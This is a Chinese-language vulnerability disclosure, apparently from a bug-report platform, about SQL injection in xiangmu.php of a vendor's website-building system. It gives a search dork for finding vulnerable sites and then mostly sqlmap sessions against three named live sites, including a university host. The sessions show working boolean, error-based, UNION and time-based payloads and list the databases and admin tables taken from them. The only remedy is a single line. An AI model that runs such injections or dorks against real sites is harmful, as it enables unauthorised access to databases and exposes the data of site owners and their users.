某通用型建站系统某处SQL注射漏洞
1、建站程序类型：php+mysql
2、漏洞类型：SQL注入
3、缺陷文件：xiangmu.php
4、注入参数：
5、危害程度：中等(泄及大量edu清华大学躺枪)
6、涉及厂商：北京祥云时代科技有限公司
7、厂商网站：http://www.8eee.org/
8、安装量：中等
9、是否拥有源代码：无
10、关键字：inurl:xiangmu.php?id=
提供搜索地址：http://74.125.227.77/search?q=inurl:xiangmu.php%3Fid%3D&newwindow=1&ei=sgnmU-qQLqfW8AHe8oHIBw&start=0&sa=N&biw=1362&bih=734
[root@Hacker~]# Sqlmap sqlmap -u "http://www.tcztb.com/huiyuan/xiangmu.php?id=56
9"
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 15:17:12
[15:17:12] [INFO] resuming back-end DBMS 'mysql'
[15:17:12] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=426 AND 4483=4483
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=426 AND (SELECT 7233 FROM(SELECT COUNT(*),CONCAT(0x3a6165783a,(S
ELECT (CASE WHEN (7233=7233) THEN 1 ELSE 0 END)),0x3a716d633a,FLOOR(RAND(0)*2))x
FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 22 columns
Payload: id=426 LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, CONCAT(0x3a6165
783a,0x6b785a7143776c46415a,0x3a716d633a), NULL, NULL, NULL, NULL, NULL, NULL, N
ULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=426 AND SLEEP(5)
---
[15:17:13] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: ASP.NET, PHP 5.2.17
back-end DBMS: MySQL 5.0
[15:17:13] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[15:17:13] [INFO] fetched data logged to text files under 'D:\??\???~1\tools\???
?\SQLMAP~3\Bin\output\www.tcztb.com'
[*] shutting down at 15:17:13
[root@Hacker~]# Sqlmap sqlmap -u "http://www.tcztb.com/huiyuan/xiangmu.php?id=56
9" --tables
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 15:17:22
[15:17:22] [INFO] resuming back-end DBMS 'mysql'
[15:17:22] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=426 AND 4483=4483
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=426 AND (SELECT 7233 FROM(SELECT COUNT(*),CONCAT(0x3a6165783a,(S
ELECT (CASE WHEN (7233=7233) THEN 1 ELSE 0 END)),0x3a716d633a,FLOOR(RAND(0)*2))x
FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 22 columns
Payload: id=426 LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, CONCAT(0x3a6165
783a,0x6b785a7143776c46415a,0x3a716d633a), NULL, NULL, NULL, NULL, NULL, NULL, N
ULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=426 AND SLEEP(5)
---
[15:17:22] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: ASP.NET, PHP 5.2.17
back-end DBMS: MySQL 5.0
[15:17:22] [INFO] fetching database names
[15:17:22] [INFO] fetching tables for databases: 'information_schema, tcztb'
Database: tcztb
[21 tables]
+---------------------------------------+
| admin_authority |
| admin_login |
| admininfo |
| advanced |
| big_class |
| count |
| files |
| info |
| information1 |
| ip |
| message |
| sec_class |
| third_class |
| user_hj |
| user_xm |
| user_xx |
| user_xz |
| user_yj |
| user_zl |
| user_zs |
| user_zz |
+---------------------------------------+
Database: information_schema
[28 tables]
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| KEY_COLUMN_USAGE |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+
[15:17:23] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[15:17:23] [INFO] fetched data logged to text files under 'D:\??\???~1\tools\???
?\SQLMAP~3\Bin\output\www.tcztb.com'
[*] shutting down at 15:17:23
——————————————————————————————————————————————————
第二个案例
[root@Hacker~]# Sqlmap sqlmap -u "http://www.tcztb.com/huiyuan/xiangmu.php?id=42
"
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 15:18:26
[15:18:26] [INFO] resuming back-end DBMS 'mysql'
[15:18:26] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=426 AND 4483=4483
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=426 AND (SELECT 7233 FROM(SELECT COUNT(*),CONCAT(0x3a6165783a,(S
ELECT (CASE WHEN (7233=7233) THEN 1 ELSE 0 END)),0x3a716d633a,FLOOR(RAND(0)*2))x
FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 22 columns
Payload: id=426 LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, CONCAT(0x3a6165
783a,0x6b785a7143776c46415a,0x3a716d633a), NULL, NULL, NULL, NULL, NULL, NULL, N
ULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=426 AND SLEEP(5)
---
[15:18:26] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: ASP.NET, PHP 5.2.17
back-end DBMS: MySQL 5.0
[15:18:26] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[15:18:26] [INFO] fetched data logged to text files under 'D:\??\???~1\tools\???
?\SQLMAP~3\Bin\output\www.tcztb.com'
[*] shutting down at 15:18:26
[root@Hacker~]# Sqlmap sqlmap -u "http://www.tcztb.com/huiyuan/xiangmu.php?id=42
" --tables
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 15:18:30
[15:18:30] [INFO] resuming back-end DBMS 'mysql'
[15:18:30] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=426 AND 4483=4483
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=426 AND (SELECT 7233 FROM(SELECT COUNT(*),CONCAT(0x3a6165783a,(S
ELECT (CASE WHEN (7233=7233) THEN 1 ELSE 0 END)),0x3a716d633a,FLOOR(RAND(0)*2))x
FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 22 columns
Payload: id=426 LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, CONCAT(0x3a6165
783a,0x6b785a7143776c46415a,0x3a716d633a), NULL, NULL, NULL, NULL, NULL, NULL, N
ULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=426 AND SLEEP(5)
---
[15:18:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: ASP.NET, PHP 5.2.17
back-end DBMS: MySQL 5.0
[15:18:31] [INFO] fetching database names
[15:18:31] [INFO] fetching tables for databases: 'information_schema, tcztb'
Database: tcztb
[21 tables]
+---------------------------------------+
| admin_authority |
| admin_login |
| admininfo |
| advanced |
| big_class |
| count |
| files |
| info |
| information1 |
| ip |
| message |
| sec_class |
| third_class |
| user_hj |
| user_xm |
| user_xx |
| user_xz |
| user_yj |
| user_zl |
| user_zs |
| user_zz |
+---------------------------------------+
Database: information_schema
[28 tables]
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| KEY_COLUMN_USAGE |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+
[15:18:31] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[15:18:31] [INFO] fetched data logged to text files under 'D:\??\???~1\tools\???
?\SQLMAP~3\Bin\output\www.tcztb.com'
[*] shutting down at 15:18:31
———————————————————————————————————————————————————
第三个案例
[root@Hacker~]# Sqlmap sqlmap -u "http://ee.nedu.edu.cn:8088/dianqikongzhi/ifram
e/xiangmu.php?id=6"
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 15:19:33
[15:19:33] [INFO] resuming back-end DBMS 'mysql'
[15:19:33] [INFO] testing connection to the target url
[15:19:34] [WARNING] there is a DBMS error found in the HTTP response body which
could interfere with the results of the tests
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=6 AND 7436=7436
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=6 AND (SELECT 6329 FROM(SELECT COUNT(*),CONCAT(0x3a7a61723a,(SEL
ECT (CASE WHEN (6329=6329) THEN 1 ELSE 0 END)),0x3a7071723a,FLOOR(RAND(0)*2))x F
ROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 9 columns
Payload: id=6 LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, NULL, CONCAT(0x3a
7a61723a,0x496f43784c754f6d794d,0x3a7071723a), NULL, NULL, NULL, NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=6 AND SLEEP(5)
---
[15:19:34] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.2.6, Apache 2.2.8
back-end DBMS: MySQL 5.0
[15:19:34] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[15:19:34] [INFO] fetched data logged to text files under 'D:\??\???~1\tools\???
?\SQLMAP~3\Bin\output\ee.nedu.edu.cn'
[*] shutting down at 15:19:34
[root@Hacker~]# Sqlmap sqlmap -u "http://ee.nedu.edu.cn:8088/dianqikongzhi/ifram
e/xiangmu.php?id=6" --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 15:19:52
[15:19:52] [INFO] resuming back-end DBMS 'mysql'
[15:19:52] [INFO] testing connection to the target url
[15:19:53] [WARNING] there is a DBMS error found in the HTTP response body which
could interfere with the results of the tests
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=6 AND 7436=7436
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=6 AND (SELECT 6329 FROM(SELECT COUNT(*),CONCAT(0x3a7a61723a,(SEL
ECT (CASE WHEN (6329=6329) THEN 1 ELSE 0 END)),0x3a7071723a,FLOOR(RAND(0)*2))x F
ROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 9 columns
Payload: id=6 LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, NULL, CONCAT(0x3a
7a61723a,0x496f43784c754f6d794d,0x3a7071723a), NULL, NULL, NULL, NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=6 AND SLEEP(5)
---
[15:19:53] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.2.6, Apache 2.2.8
back-end DBMS: MySQL 5.0
[15:19:53] [INFO] fetching database names
[15:19:53] [INFO] the SQL query used returns 9 entries
[15:19:53] [INFO] resumed: "information_schema"
[15:19:53] [INFO] resumed: "bbs"
[15:19:53] [INFO] resumed: "dianqikongzhi"
[15:19:53] [INFO] resumed: "ee_feng"
[15:19:53] [INFO] resumed: "experiment"
[15:19:53] [INFO] resumed: "jidianbaohujingpinke"
[15:19:53] [INFO] resumed: "mysql"
[15:19:53] [INFO] resumed: "phpcmsv9"
[15:19:53] [INFO] resumed: "ultrax"
available databases [9]:
[*] bbs
[*] dianqikongzhi
[*] ee_feng
[*] experiment
[*] information_schema
[*] jidianbaohujingpinke
[*] mysql
[*] phpcmsv9
[*] ultrax
[15:19:53] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[15:19:53] [INFO] fetched data logged to text files under 'D:\??\???~1\tools\???
?\SQLMAP~3\Bin\output\ee.nedu.edu.cn'
[*] shutting down at 15:19:53
解决方案：
加强SQL注入保护，过滤
